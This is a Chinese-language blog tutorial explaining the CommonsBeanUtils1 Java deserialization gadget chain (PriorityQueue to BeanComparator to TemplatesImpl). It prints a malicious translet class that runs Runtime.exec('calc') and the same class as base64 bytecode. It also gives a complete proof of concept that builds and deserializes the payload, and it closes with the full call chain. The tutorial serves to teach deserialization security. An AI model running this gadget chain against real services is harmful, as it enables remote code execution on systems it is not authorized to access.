本文最后更新于:2023年9月9日 晚上
[TOC]
【java安全】CommonsBeanUtils1
前言
在之前我们学习了java.util.PriorityQueue
,它是java中的一个优先队列,队列的每个元素都有优先级,在反序列化这个对象的时候,为了保证队列顺序,会将队列中的元素进行排序,从而调用了java.io.Comparator
接口的compare()
方法,进而执行恶意反序列化操作
我们能不能找到除了之前提到的TransformingComparator
类以外的其他可以利用的java.util.Comparator
对象?我们需要了解一下Commons Beanuitls
Apache Commons Beanutils
在找可用的Comparator
之前,我们需要知道一下Apache Commons Beanutils
,它是Apache Commons
工具集下的一个项目,提供了对java类对象(javaBean)的一些操作方法
什么是javaBean?
1 2 3 4 5 6 7
| final public class Cat { private String name = "catalina"; public String getName() { return name; } public void setName(String name) { this.name = name; } }
|
javaBean就是一种标准化的java对象,成员变量为private
,提供了对成员变量的getter()
和setter()
方法,符合驼峰命名法
在Commons Beanutils
中提供了一个静态方法PropertyUtils.getProperty()
1 2 3
| public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { return PropertyUtilsBean.getInstance().getProperty(bean, name); }
|
这个方法可以可以调用任意javaBean对象的getter()
方法
例如:
1
| PropertyUtils.getProperty(new Cat(),'name')
|
这个方法会调用Cat
对象的getName()
方法,使用该方法可以调用任意对象的getter
方法
BeanComparator
我们上文说想要找到其他的实现java.util.Comparator
的类
在commons-beanutils
中有一个BeanComparator
类:
先看看构造方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public BeanComparator() { this((String)null); }
public BeanComparator(String property) { this(property, ComparableComparator.getInstance()); }
public BeanComparator(String property, Comparator<?> comparator) { this.setProperty(property); if (comparator != null) { this.comparator = comparator; } else { this.comparator = ComparableComparator.getInstance(); }
}
|
构造方法可以为:property
属性赋值,这个很重要后面会用到
然后看看compare()
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package org.apache.commons.beanutils;
public class BeanComparator<T> implements Comparator<T>, Serializable {
public int compare(T o1, T o2) { if (this.property == null) { return this.internalCompare(o1, o2); } else { try { Object value1 = PropertyUtils.getProperty(o1, this.property); Object value2 = PropertyUtils.getProperty(o2, this.property); return this.internalCompare(value1, value2); } catch (IllegalAccessException var5) { throw new RuntimeException("IllegalAccessException: " + var5.toString()); } catch (InvocationTargetException var6) { throw new RuntimeException("InvocationTargetException: " + var6.toString()); } catch (NoSuchMethodException var7) { throw new RuntimeException("NoSuchMethodException: " + var7.toString()); } } }
}
|
我们注意一下它的compare(T o1, T o2)
方法,当property==null
时,不会调用PropertyUtils.getProperty()
1 2 3
| if (this.property == null) { return this.internalCompare(o1, o2); }
|
PropertyUtils.getProperty()
1 2
| Object value1 = PropertyUtils.getProperty(o1, this.property); Object value2 = PropertyUtils.getProperty(o2, this.property);
|
它会去调用o1、o2
对象的名为property的属性值的getter
方法
这里很重要,加入o1
是TemplatesImpl
对象的话这里是可以构造反序列化利用链的
我们先来回顾一下前面TemplatesImpl
中的调用链:
1 2 3
| TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
|
这里的getOutputProperties()
就是getter
方法的形式,并且它会调用newTransformer()
触发恶意字节码执行。因此,如果我们PropertyUtils.getProperty(o1, this.property)
第一个形参传入:TemplatesImpl
对象,并且第二个参数property
传入值outputProperties
那么就会调用TemplatesImpl#getOutputProperties()
方法了
我们可以简单测试一下:
我们先构造一个恶意字节码的类HelloTemplatesImpl
:(注意需要继承AbstractTranslet
,这样才有效)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException;
public class HelloTemplatesImpl extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public HelloTemplatesImpl() throws IOException { Runtime.getRuntime().exec("calc"); }
}
|
我们将其编译为字节码并且base64编码一下
然后编写利用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import java.lang.reflect.Field; import java.util.Base64;
public class CommonsBeanUtils1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception { byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes()); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{bytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties"); beanComparator.compare(obj,null);
} }
|
确实弹出了计算器,说明这是对的
如何调用BeanComparator#compare()
方法?
我们这里可以继续使用PriorityQueue
类,它的readObject()
方法可以触发排序等函数,最终调用comparator
变量的compare()
方法,并且形参传入TemplatesImpl
对象(注意讲BeanComparator
的property
设置为outputProperties
)
PriorityQueue#siftDownUsingComparator()
1
| comparator.compare((E) c, (E) queue[right]) > 0)
|
当反序列化时调用PriorityQueue#readObject()
方法,最终调用comparator#compare()
,然后调用TemplatesImpl#getOutputProperties()
方法
构造POC
首先常规构造TemplatesImpl
对象:
1 2 3 4
| TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{bytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
|
然后构造BeanComparator
类,我们先不为property
赋值,防止提前调用PropertyUtils.getProperty()
:
1
| BeanComparator comparator = new BeanComparator()
|
然后创建PriorityQueue
,队列大小为2,将comparator
成员变量赋值为BeanComparator
对象:
1
| PriorityQueue queue = new PriorityQueue(2, comparator);
|
然后添加2个无关紧要的值进queue
中(之所以这么做是因为防止add()
提前触发comparator.compare()
)
1 2
| queue.add(1); queue.add(1);
|
添加完成之后我们再将queue
的值(用来给compare方法传入TemplatesImpl
对象)以及BeanComparator
的property
赋值为outputProperties
1 2
| setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj});
|
完整POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue;
public class CommonsBeanUtils1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception { byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes()); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{bytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); BeanComparator comparator = new BeanComparator(); PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(1); queue.add(1); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject();
} }
|
调用可以弹出计算器:
调用链
1 2 3 4 5 6 7 8 9 10
| PriorityQueue#readObject() heapify(); siftDown(i, (E) queue[i]); siftDownUsingComparator(k, x); BeanComparator#compare(TemplatesImplObj,) PropertyUtils.getProperty(TemplatesImplObj, "outputProperties") TemplatesImpl#getOutputProperties() TemplatesImpl#newTransformer() ... defindClass()
|